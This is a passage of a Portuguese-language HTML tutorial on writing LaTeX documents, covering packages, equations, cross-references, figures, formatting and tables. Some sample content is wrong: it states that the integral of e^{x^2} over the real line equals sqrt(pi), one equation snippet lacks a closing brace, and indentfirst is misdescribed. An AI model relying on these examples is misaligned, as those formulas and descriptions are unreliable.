&lt;p&gt;Por último, adiciona-se os pacotes normalmente utilizados, como o &lt;a href=&quot;https://www.ctan.org/pkg/fullpage&quot;&gt;Fullpage&lt;/a&gt;, que altera automaticamente o tamanho das bordas para dar mais espaço ao texto, &lt;a href=&quot;https://www.ctan.org/pkg/indentfirst&quot;&gt;Indentfirst&lt;/a&gt;, que cria um novo parágrafo a cada nova linha e o pacote &lt;a href=&quot;https://www.ctan.org/pkg/graphicx&quot;&gt;Graphicx&lt;/a&gt; que permite adicionar imagens.&lt;/p&gt;

&lt;div class=&quot;language-TeX highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;fullpage&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;      &lt;span class=&quot;c&quot;&gt;% Melhor uso da página&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;indentfirst&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;   &lt;span class=&quot;c&quot;&gt;% Autoidentar&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;graphicx&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;      &lt;span class=&quot;c&quot;&gt;% Importar figuras&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;O documento básico resultante deve ser da seguinte forma:&lt;/p&gt;

&lt;div class=&quot;language-TeX highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;%Início do documento&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\documentclass&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;[11pt]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;article&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;[brazilian]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;babel&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;% Idioma Português-Brasil&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;[utf8]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;inputenc&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;   &lt;span class=&quot;c&quot;&gt;% Codificação de Entrada&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;[T1]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;fontenc&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;      &lt;span class=&quot;c&quot;&gt;% Codificação de Saída&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;fullpage&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;         &lt;span class=&quot;c&quot;&gt;% Melhor uso da página&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;indentfirst&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;      &lt;span class=&quot;c&quot;&gt;% Autoidentar&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;graphicx&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;         &lt;span class=&quot;c&quot;&gt;% Importar figuras&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;\begin{document}&lt;/span&gt;
Olá mundo.
&lt;span class=&quot;nt&quot;&gt;\end{document}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;escrevendo-equações&quot;&gt;Escrevendo Equações&lt;/h2&gt;

&lt;p&gt;Uma das partes fundamentais do LaTeX é a inserção de equações. Para isso, utiliza-se o ambiente &lt;em&gt;Mathmode&lt;/em&gt;, normalmente colocando o texto matemático entre dois cifrões (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$&lt;/code&gt;), onde pode-se escrever equações livremente utilizando a notação habitual. Desse modo, as equações serão inseridas sem interromper o fluxo de texto.&lt;/p&gt;

&lt;p&gt;Alternativamente, se você quiser que a equação tenha sua linha própria, como em equações longas, pode-se utilizar dois  cifrões  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$$&lt;/code&gt; de cada lado ou usar o comando &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\begin{equation}&lt;/code&gt;, que também numerará as equações. É interessante que o LaTeX numera todas as equações, figuras e tabelas automaticamente. Não é necessário se preocupar se uma figura vem antes da outra, já que a numeração é feita pelo compilador.&lt;/p&gt;

&lt;p&gt;A seguir há alguns exemplos de uso.&lt;/p&gt;

&lt;hr /&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;E = m c^2&lt;/code&gt;&lt;/p&gt;

\[E = mc^2\]

&lt;hr /&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;E_r = \sqrt{ (m c^2)^2 + (pc)^2&lt;/code&gt;&lt;/p&gt;

\[E_r = \sqrt{ (m c^2)^2 + (pc)^2 }\]

&lt;hr /&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x = \frac{-b \pm \sqrt{b^2 - 4ac}}{2a}&lt;/code&gt;&lt;/p&gt;

\[x = \frac{-b \pm \sqrt{b^2 - 4ac}}{2a}\]

&lt;hr /&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\int^{+\infty}_{-\infty} e^{x^2} dx = \sqrt{\pi}&lt;/code&gt;&lt;/p&gt;

\[\int^{+\infty}_{-\infty} e^{x^2} dx = \sqrt{\pi}\]

&lt;hr /&gt;
&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\sum_{n=1}^\infty \frac{1}{n^2} = \lim_{n \to \infty} \left( \frac{1}{1^2} + \frac{1}{2^2} + \cdots + \frac{1}{n^2} \right) = \frac{\pi^2}{6}&lt;/code&gt;&lt;/p&gt;

\[\sum_{n=1}^\infty \frac{1}{n^2} = \lim_{n \to \infty}\left(\frac{1}{1^2} + \frac{1}{2^2} + \cdots + \frac{1}{n^2} \right) = \frac{\pi^2}{6}\]

&lt;hr /&gt;
&lt;blockquote&gt;
  &lt;p&gt;&lt;i class=&quot;fa fa-book fa-fw&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt; &lt;strong&gt;Nota:&lt;/strong&gt; Os símbolos especiais utilizados utilizam comandos precedidos com um barra (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\&lt;/code&gt;— exemplo &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\pi&lt;/code&gt; para o número Pi). Para uma lista de símbolos e usos mais completa consulte &lt;a href=&quot;https://en.wikibooks.org/wiki/LaTeX/Mathematics&quot;&gt;este artigo da Wikibooks&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;títulos-subtítulos-e-referências-cruzadas&quot;&gt;Títulos, Subtítulos e Referências Cruzadas&lt;/h2&gt;

&lt;p&gt;Uma das vantagens do LaTeX é a facilidade com a criação de &lt;strong&gt;seções&lt;/strong&gt;, &lt;strong&gt;subseções&lt;/strong&gt; e &lt;strong&gt;subsubseções&lt;/strong&gt;. Para isso basta chamar o comando equivalente:&lt;/p&gt;

&lt;div class=&quot;language-TeX highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;\section&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;Seção 1&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\subsection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;Subseção 1&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\subsubsection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;Subsubseção 1&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Que irá produzir:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://cloud.githubusercontent.com/assets/8211602/20220105/5dc16d02-a813-11e6-9351-8da26ce6c2bb.png&quot; style=&quot;width: 85%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;O resultado é numerado automaticamente. Além disso, cada vez que um comando com numeração é chamado (Seção, Subseção, Figura, etc), você pode colocar um &lt;strong&gt;label&lt;/strong&gt; (ou rótulo) que identifica o elemento e pode ser chamado no texto. Portanto, se você quiser referenciar determinada Seção ou Figura, não precisa se preocupar com a numeração em que eles aparecem, basta chamar o rótulo que você criou.&lt;/p&gt;

&lt;p&gt;Para isso, utiliza-se o comando &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\label{nome}&lt;/code&gt; logo após criar a numeração. Para chamar a referência, basta usar o comando &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\ref{nome}&lt;/code&gt;. É interessante, mas não obrigatório, utilizar um prefixo nos nomes para identificar o que você está referenciando, como &lt;strong&gt;sec&lt;/strong&gt; para seções ou &lt;strong&gt;fig&lt;/strong&gt; para figuras. Por exemplo:&lt;/p&gt;

&lt;div class=&quot;language-TeX highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;\section&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;Introdução&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;\label&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;sec:introducao&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

Esta é a introdução. A Seção &lt;span class=&quot;k&quot;&gt;\ref&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;sec:desenvolvimento&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; tratará do desenvolvimento.

&lt;span class=&quot;k&quot;&gt;\section&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;Desenvolvimento&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;\label&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;sec:desenvolvimento&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

Esse é o desenvolvimento, como descrito na Seção &lt;span class=&quot;k&quot;&gt;\ref&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;sec:introducao&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Irá produzir:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://cloud.githubusercontent.com/assets/8211602/20220137/7f509218-a813-11e6-9c3b-dbd5baf06c73.png&quot; alt=&quot;secao&quot; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;i class=&quot;fa fa-book fa-fw&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt; &lt;strong&gt;Nota&lt;/strong&gt;: são necessárias &lt;strong&gt;duas compilações&lt;/strong&gt; para o resultado desejado, pois na primeira todos os &lt;em&gt;labels&lt;/em&gt; são processados e na segunda vez todas as &lt;em&gt;referências&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;sumário&quot;&gt;Sumário&lt;/h2&gt;

&lt;p&gt;A geração do sumário é simplificada utilizando o LaTeX. Para isso, basta utilizar o comando &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\tableofcontents&lt;/code&gt;. Para deixar o sumário em sua página própria, basta usar &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\newpage&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-TeX highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;\newpage&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\tableofcontents&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\newpage&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;inserindo-imagens&quot;&gt;Inserindo Imagens&lt;/h2&gt;

&lt;h3 id=&quot;imagens-simples&quot;&gt;Imagens Simples&lt;/h3&gt;

&lt;p&gt;Inserir imagens no LaTeX pode parecer uma tarefa árdua a princípio, já que elas são incluídas no código. Para isso, basta usar o comando &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\includegraphics&lt;/code&gt;. É recomendado usar um ambiente &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;figure&lt;/code&gt; para isso. A seguir, há um exemplo de inserção de imagem.&lt;/p&gt;

&lt;div class=&quot;language-TeX highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;\begin{figure}&lt;/span&gt;[!h]
&lt;span class=&quot;k&quot;&gt;\centering&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\includegraphics&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;[width=0.5\textwidth]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;imagem.png&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\caption&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;Legenda da Imagem&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;\label&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;fig:imagem&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;\end{figure}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Esse exemplo insere uma &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;imagem.png&lt;/code&gt; centralizada com metade do tamanho do texto. De fato, a extensão &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.png&lt;/code&gt; pode ser suprimida. O &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pdflatex&lt;/code&gt; aceita nativamente os formatos &lt;strong&gt;JPG&lt;/strong&gt;, &lt;strong&gt;PNG&lt;/strong&gt;, &lt;strong&gt;PDF&lt;/strong&gt; e &lt;strong&gt;EPS&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://cloud.githubusercontent.com/assets/8211602/20220190/b668d1f2-a813-11e6-8238-da4c68f6dfab.png&quot; style=&quot;width: 85%;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Usar a variável &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\textwidth&lt;/code&gt; para dimensionamento das imagens é interessante pois a imagem sempre respeitará as bordas de texto (incluindo texto escrito em duas colunas). Pode-se passar como parâmetro tamanhos como &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;width=1cm&lt;/code&gt; ou &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;width=2in&lt;/code&gt; para medidas exatas.&lt;/p&gt;

&lt;p&gt;Você deve ter notado o parâmetro &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[!h]&lt;/code&gt; no ambiente &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;figure&lt;/code&gt;. Isso indica ao LaTeX para &lt;em&gt;tentar&lt;/em&gt; inserir a figura no local onde ela é chamada no texto. Caso isso não seja possível, o compilador irá deslocar a imagem para um local apropriado para não interromper o fluxo do texto. Outros parâmetros que podem ser utilizados são &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b&lt;/code&gt; (bottom), &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t&lt;/code&gt; (top). O caractere &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!&lt;/code&gt;indica que algumas restrições de posicionamento podem ser ignoradas (como em &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[!htb]&lt;/code&gt;, que posiciona a imagem em qualquer lugar).&lt;/p&gt;

&lt;h3 id=&quot;imagens-lado-a-lado&quot;&gt;Imagens Lado a Lado&lt;/h3&gt;

&lt;p&gt;Para adiciona imagens lado a lado, basta criar duas minipages e colocar uma imagem em cada. Para tal, pode-se usar a sequência de comandos:&lt;/p&gt;

&lt;div class=&quot;language-TeX highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;\begin{figure}&lt;/span&gt;[!h]
  &lt;span class=&quot;k&quot;&gt;\centering&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;\begin{minipage}&lt;/span&gt;[b]&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;0.45&lt;span class=&quot;k&quot;&gt;\textwidth&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;\includegraphics&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;[width=\textwidth]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;imagem1&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;\caption&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;Primeira Imagem.&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;\end{minipage}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;\hfill&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;\begin{minipage}&lt;/span&gt;[b]&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;0.45&lt;span class=&quot;k&quot;&gt;\textwidth&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;\includegraphics&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;[width=\textwidth]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;imagem2&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;\caption&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;Segunda Imagem.&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;\end{minipage}&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;\end{figure}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;organizando-uma-pasta-de-imagens&quot;&gt;Organizando uma pasta de imagens&lt;/h3&gt;

&lt;p&gt;Para adicionar imagens no texto, o arquivo deve estar localizado na pasta raiz do projeto (na mesma pasta do documento). No entanto, é mais útil e organizado criar uma pasta separada somente para imagens. Para adicionar a pasta &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;figuras&lt;/code&gt; nas pastas onde o LaTeX procurará por imagens, basta usar o seguinte comando no preâmbulo.&lt;/p&gt;

&lt;div class=&quot;language-TeX highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;\graphicspath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{{&lt;/span&gt;./figuras/&lt;span class=&quot;p&quot;&gt;}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;formatação&quot;&gt;Formatação&lt;/h2&gt;

&lt;p&gt;Para formação do texto, pode-se usar funções como negrito, itálico e outros efeitos.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Comando&lt;/th&gt;
      &lt;th&gt;Resultado&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\textbf{Texto Exemplo}&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;Texto Exemplo&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\textit{Texto Exemplo}&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;em&gt;Texto Exemplo&lt;/em&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\underline{Texto Exemplo}&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;u&gt;Texto Exemplo&lt;/u&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;i class=&quot;fa fa-book fa-fw&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt; &lt;strong&gt;Nota:&lt;/strong&gt; Para mais estilos de fonte e tamanhos diferentes, cheque &lt;a href=&quot;https://pt.sharelatex.com/learn/Font_sizes,_families,_and_styles&quot;&gt;esse tutorial no ShareLaTeX&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;tabelas&quot;&gt;Tabelas&lt;/h2&gt;

&lt;p&gt;As tabelas em LaTeX também podem ser geradas por código. Para tal, basta iniciar um &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tabular&lt;/code&gt;. As quebras de linhas são indicadas com o comando &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\\&lt;/code&gt;. Para melhorar os traços horizontais na tabela, utiliza-se o pacote &lt;a href=&quot;https://www.ctan.org/pkg/booktabs&quot;&gt;Booktabs&lt;/a&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\toprule&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\midrule&lt;/code&gt; e &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\bottomrule&lt;/code&gt; irão traçar retas horizontais).&lt;/p&gt;

&lt;div class=&quot;language-TeX highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;\usepackage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;booktabs&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Para criar uma tabela de três colunas, basta usar o seguinte código.&lt;/p&gt;

&lt;div class=&quot;language-TeX highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;\begin{table}&lt;/span&gt;[!h]
&lt;span class=&quot;k&quot;&gt;\renewcommand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;\arraystretch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}{&lt;/span&gt;1.3&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;% Ajusta espaçamento&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\centering&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;\begin{tabular}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;c|c|c&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;  &lt;span class=&quot;c&quot;&gt;% 3 Elementos Centralizados&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;% Utilize as &apos;rules&apos; para traços na tabela&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\toprule&lt;/span&gt;
Potência &lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt;      n      &lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;\pi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;\\&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;\midrule&lt;/span&gt;
1  &lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt;    10             &lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt;  4       &lt;span class=&quot;k&quot;&gt;\\&lt;/span&gt;
2  &lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt;	100 	       &lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt;  25 	  &lt;span class=&quot;k&quot;&gt;\\&lt;/span&gt;
3  &lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt;	1,000          &lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt;  168 	  &lt;span class=&quot;k&quot;&gt;\\&lt;/span&gt;
4  &lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt;	10,000         &lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt;  1,229   &lt;span class=&quot;k&quot;&gt;\\&lt;/span&gt;
5  &lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt;	100,000        &lt;span class=&quot;p&quot;&gt;&amp;amp;&lt;/span&gt;  9,592   &lt;span class=&quot;k&quot;&gt;\\&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\toprule&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;\bottomrule&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;\end{tabular}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;\caption&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;Distribuição de Primos &lt;span class=&quot;p&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;\pi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;$}&lt;/span&gt; 
&lt;span class=&quot;k&quot;&gt;\label&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;tab:tabela&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;\end{table}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Irá produzir:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://cloud.githubusercontent.com/assets/8211602/20220307/28ae561a-a814-11e6-9b04-e9caad4a8062.png&quot; style=&quot;width: 85%;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;exemplo&quot;&gt;Exemplo&lt;/h2&gt;

&lt;p&gt;Nesse exemplo será construído um documento simples multiuso para trabalhos simples em LaTeX com os conteúdos abordados nesse documento.&lt;/p&gt;

&lt;center&gt;
&lt;button onclick=&quot;window.open(&apos;https://www.overleaf.com/latex/templates/tex-template-simples-sem-capa/fjnhqxrqfgcg&apos;, &apos;_blank&apos;);&quot; class=&quot;fancybutton&quot; style=&quot;vertical-align:middle&quot;&gt;&lt;span&gt; &lt;i class=&quot;fa fa-desktop fa-fw&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt; Editar Online &lt;/span&gt;&lt;/button&gt;
&lt;/center&gt;

